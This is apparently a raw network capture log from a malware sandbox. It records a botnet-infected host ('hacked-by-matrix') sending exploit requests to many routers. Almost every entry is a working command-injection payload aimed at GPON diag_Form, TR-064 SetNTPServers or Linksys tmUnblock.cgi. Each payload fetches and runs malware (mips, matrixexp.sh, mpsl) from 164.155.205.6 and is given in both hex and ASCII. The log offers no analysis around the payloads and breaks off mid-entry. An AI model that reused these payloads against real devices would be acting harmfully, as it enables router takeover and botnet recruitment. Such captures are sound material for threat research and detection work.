Mar 2, 2024 12:37:25.725423098 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.23	59022	210.169.116.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941541910 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.23	60860	37.58.216.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941564083 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.23	51502	5.169.24.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941570044 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.23	34468	42.188.165.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941570044 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.23	60940	5.59.233.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941581964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.23	58262	5.87.231.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941605091 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.23	48482	94.212.104.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941617012 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.23	45492	2.84.28.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941626072 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.23	58440	212.78.127.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941647053 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.23	51514	79.108.2.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941648960 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.23	52536	79.88.125.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941653013 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.23	45932	210.134.0.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941684961 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.23	37390	212.40.181.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941684961 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.23	33388	5.95.163.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941714048 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.23	43990	94.5.59.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941735983 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.23	55522	178.49.148.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.941760063 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.23	52742	206.132.20.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:26.038619041 CET	57	IN	Data Raw: 42 49 47 2d 49 50 3a 20 5b 30 78 33 32 30 30 38 36 66 3a 36 36 35 32 5d 20 69 52 75 6c 65 20 65 78 65 63 75 74 69 6f 6e 20 28 72 65 6a 65 63 74 20 63 6f 6d 6d 61 6e 64 29 Data Ascii: BIG-IP: [0x320086f:6652] iRule execution (reject command)

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.23	44352	119.217.47.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:26.318128109 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:27.876669884 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:29.696449995 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.23	41376	172.64.143.51	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:27.096585035 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.23	42240	149.106.103.236	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.493092060 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.23	42242	149.106.103.236	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.628283978 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.23	57396	178.239.7.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963617086 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.23	36874	42.216.218.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963638067 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.23	54664	109.230.37.139	443

Timestamp	Bytes transferred	Direction	Data
